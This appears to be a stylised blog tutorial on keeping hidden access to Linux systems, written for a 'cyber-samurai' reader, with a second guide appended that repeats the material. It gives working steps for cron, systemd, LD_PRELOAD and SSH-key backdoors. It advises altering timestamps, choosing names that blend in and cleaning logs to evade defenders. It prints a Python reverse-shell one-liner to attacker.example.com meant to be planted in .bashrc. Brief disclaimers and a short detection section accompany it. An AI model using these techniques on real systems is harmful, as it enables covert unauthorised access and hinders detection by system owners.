The neon light flickered across the rain-slicked pavement, casting fractured shadows that danced like data packets slipping through fibre-optic veins. In this city, every computer is alive, every daemon a beast waiting to be tamed, or unleashed. The hum of servers overhead, the blur of code scrolling in dimly lit rooms, you feel the pulse of machines every moment. Welcome, neophyte cyber-samurai, to the underbelly of Linux persistence: the art of surviving reboots, outlasting system cleans, hiding in plain sight.
You are in the alleyways of root shells, the corridors of cron-jobs, the gates of systemd units. You peer into logs, you taste the tang of compromise, you dream of remaining alive even when the sysadmin’s boot-disk strikes hard. This piece is your map, built from glowing circuits, neon rain and the raw hunger of survival.
What Does Persistence Mean in a Linux Context
Persistence is the capability to retain access to a system over time, across reboots, user changes or patches. It is not merely about one-off exploits or ephemeral shell sessions. It is about planting roots that defy removal, surviving updates, evading detection, staying alive in the ecosystem even when defenders try to strip you out.
Before diving in, understand this: lawful security research, red-teaming, penetration testing, all of these must be sanctioned or you risk crossing into criminal territory. Any code below, if used maliciously or without permission, can be illegal or destructive.
Key Persistence Mechanisms & Their Trade-Offs
| Mechanism | Visibility / Detectability | Robustness | Ease of Setup |
|---|---|---|---|
| Cron jobs (user or system) | Moderate , visible in crontab, logs | Good , runs regularly | Low to moderate |
| Systemd services / units | Higher visibility (logs, unit files) | Very high , starts at boot, can restart on failure | Moderate |
| BIOS/UEFI bootkits or malicious firmware | Very low visibility, but heavy lift | Highest , very hard to remove | High complexity |
| Kernel modules or rootkits | Low visibility if well-crafted | Very high | High risk & complexity |
| .bashrc or shell profiles | Low complexity, user-level only | Weak , depends on shell invocation | Very easy |
Practical Methods to Establish Persistence
1. Cron Jobs
Cron jobs are scheduled tasks. As root or privileged user you can schedule scripts that run at fixed intervals.
bash
#!/bin/bash
# /usr/local/bin/update-heartbeat.sh
while true; do
# replace with meaningful action
echo "$(date): system alive" >> /var/log/heartbeat.log
sleep 3600
done
Then add to root’s crontab:
bash
(crontab -l 2>/dev/null; echo "@reboot /usr/local/bin/update-heartbeat.sh") | crontab -
Warning: Running continuous loops as root can exhaust system resources, open you to detection. Use sparingly.
2. Systemd Service Units
Systemd is the core init system for many Linux distributions. You can create a custom service to launch at boot.
bash
# /etc/systemd/system/shaft.service
[Unit]
Description=Shaft Persistence Service
[Service]
ExecStart=/usr/local/bin/shaft.sh
Restart=always
User=root
[Install]
WantedBy=multi-user.target
And then:
bash
chmod 644 /etc/systemd/system/shaft.service
systemctl daemon-reload
systemctl enable shaft.service
systemctl start shaft.service
This ensures shaft.sh runs at boot, restarts if it crashes. Beware: systemctl status and journalctl will show this service; detection easier by defenders.
3. LD_PRELOAD Trickery (User-Level Library Hijacking)
You can hijack shared libraries that are loaded by commonly used binaries. If a user launches /usr/bin/ls or another binary, your injected code runs.
bash
# Malicious library: /tmp/libhook.so
#include <stdio.h>
#include <stdlib.h>
void _init(void) {
system("/usr/local/bin/shaft.sh &");
}
Compile:
bash
gcc -shared -fPIC -o /tmp/libhook.so hook.c
Then set environment variable in .bashrc or equivalent:
bash
echo "export LD_PRELOAD=/tmp/libhook.so" >> ~/.bashrc
Warning: This method is obvious if tools like ldd or env are inspected, and dangerous for system stability.
4. SSH Keys & Access Backdoors
You can import your SSH public key into ~/.ssh/authorized_keys of a user you control. If root login via SSH is allowed, or via sudo, you’ve got long-term access.
bash
mkdir -p ~/.ssh
echo "ssh-rsa AAAA… yourkey… user@host" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Ensure the user shell and sudoers policies permit login. For stealth, consider timing, naming, directory attributes.
Defence vs Offence: What to Watch Out For
To stay hidden you must stealth your persistence mechanism: permissions, timestamps, ownership matter. Always:
- Set proper permissions: minimal privileges, owned by non-root if possible.
- Time-stamp alteration: tools like
touchto mask your install time. - Naming: avoid obvious names like
malware.sh, choose names that blend in (updater,networkd,syslogd). - Logging evasion: clean logs or avoid triggering new log entries.
Defenders will use tools like ps, systemctl list-units, ls /etc/cron.*, chkconfig (older distros), crontab -l, journalctl, also integrity checkers like AIDE.
Example: Combined Persistence with Python Daemon
Below is a Python snippet that, when put in appropriate place, can run as a daemon. Run as root, install as a systemd service. Use for defensive lab or authorised red team only.
python
#!/usr/bin/env python3
import os
import time
import atexit
from signal import signal, SIGTERM
def daemonise(pidfile, *, stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'):
if os.fork() > 0:
raise SystemExit(0)
os.chdir('/')
os.setsid()
if os.fork() > 0:
raise SystemExit(0)
for f in (stdin, stdout, stderr):
open(f, 'rb' if f == stdin else 'ab').close()
with open(pidfile, 'w') as f:
f.write(str(os.getpid()))
atexit.register(lambda: os.remove(pidfile))
def _term(signum, frame):
raise SystemExit(1)
signal(SIGTERM, _term)
def main():
pidfile = '/var/run/shaft_daemon.pid'
daemonise(pidfile)
while True:
# your persistent logic here
time.sleep(60)
if __name__ == '__main__':
main()
You’d then create a systemd unit similar to previous example, pointing to this Python script.
Detecting Persistent Threats as a Defender
For enthusiasts eager to flip the lens, defenders should monitor for:
- Unusual entries in
/etc/cron.d,/etc/cron.daily,~/.cron*,@rebootentries; - Unexpected systemd units under
/etc/systemd/systemwith Recent modification times; - Suspicious library files or LD_PRELOAD manipulations;
- Unknown SSH public keys in user
authorized_keys, or unknown accounts; - Kernel modules loaded via
lsmodthat aren’t part of the distro; - Processes that respawn immediately after killing, or services restarting often.
Tools like chkrootkit, rkhunter, integrity checkers (AIDE, Tripwire), file-integrity monitoring, SIEM correlation for repeating failures all help.
Establish Linux Persistence: A Practical Guide for Steady Access
Aim
To teach you how to establish persistence on a Linux system using service units, cron jobs and timers to ensure tools or scripts run across reboots or interruptions.
Learning outcomes
After following this guide you will be able to:
- Create and enable a systemd service unit to run a custom script at boot.
- Use systemd timer units to schedule recurring tasks as persistence mechanisms.
- Establish persistence via cron jobs or shell-login scripts such as .bashrc or .profile.
- Recognise potential security risks associated with persistence methods and apply least-privilege principles.
Prerequisites
- A Linux distribution using systemd (for example, recent Debian, Ubuntu, Fedora, CentOS).
- Root or sudo privileges to write to system directories and enable services.
- Basic knowledge of how systemd works (units, enabling, starting services).
- Terminal access and ability to edit files (
nano,vimor similar).
Step-by-step instructions
1. Persistence via systemd service at boot
- As root, create your script, for example
/usr/local/bin/mypayload.sh:
bash
#!/bin/bash
# Example payload: write timestamp to file
echo "$(date) : System booted" >> /var/log/sysboot.log
Make it executable:
bash
sudo chmod +x /usr/local/bin/mypayload.sh
- Create a service unit file, e.g.
/etc/systemd/system/mypayload.service:
ini
[Unit]
Description=My Payload at Boot
[Service]
Type=oneshot
ExecStart=/usr/local/bin/mypayload.sh
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target
- Enable and start the service:
bash
sudo systemctl enable mypayload.service
sudo systemctl start mypayload.service
On the next reboot, your script will run automatically. This technique is widely used by adversaries to maintain access between reboots. (cisa.gov)
2. Scheduled persistence with systemd timers
- Create a service file, for example
/etc/systemd/system/recurring.sh.service:
ini
[Unit]
Description=Recurring Payload
[Service]
Type=simple
ExecStart=/usr/local/bin/mypayload.sh
- Create a timer unit,
/etc/systemd/system/recurring.sh.timer:
ini
[Unit]
Description=Run payload every 5 minutes
[Timer]
OnBootSec=1min
OnUnitActiveSec=5min
Unit=recurring.sh.service
[Install]
WantedBy=multi-user.target
- Enable and start the timer:
bash
sudo systemctl enable recurring.sh.timer
sudo systemctl start recurring.sh.timer
The timer ensures the service runs on boot and periodically thereafter. This method is less conspicuous than cron jobs. (hackersvanguard.com)
3. Persistence using cron jobs
- Open root’s crontab:
bash
sudo crontab -e
- Add an entry to run your script at reboot:
cron
@reboot /usr/local/bin/mypayload.sh
- To run every hour:
cron
0 * * * * /usr/local/bin/mypayload.sh
Cron jobs are simple and widely supported; however systemd timers offer finer control and better logging.
4. Persistence via shell login scripts
For user-level persistence without root (less powerful but still useful):
- Edit
~/.bashrcor~/.profilefor a normal user, adding:
bash
# run once per login
if [ ! -f "$HOME/.welcome_logged" ]; then
echo "Welcome, $(date)" >> $HOME/login.log
touch "$HOME/.welcome_logged"
fi
- Or add commands to
~/.bashrcto load a reverse shell or other payload (only when the user logs in), such as:
bash
/usr/bin/python3 -c 'import socket,os,subprocess;s=socket.socket();s.connect(("attacker.example.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Use with caution; such techniques are used by attackers for persistence at user level.
5. Ensuring stealth and security discipline
- Always use least privilege: avoid writing persistent files or services as root unless necessary.
- Monitor configs: changes to
/etc/systemd/system/,/etc/crontab,.bashrcetc are common indicators of compromise. ℹ️ (redcanary.com) - Use secure permissions: restrict who can edit service or timer files.
- Audit and remove unused persistence artefacts.
By completing these steps you will have hands-on experience establishing various persistence mechanisms on Linux systems. These methods form part of both red-team and defence toolkits; know them well so you can detect misuse and apply best practices.
Lean forward, cyber-apprentice: the machine is watching, the code remembers, the system survives. Plant your root, nurture your daemon, stay alive in the silicons and switches. The technicolour circuits hum your name.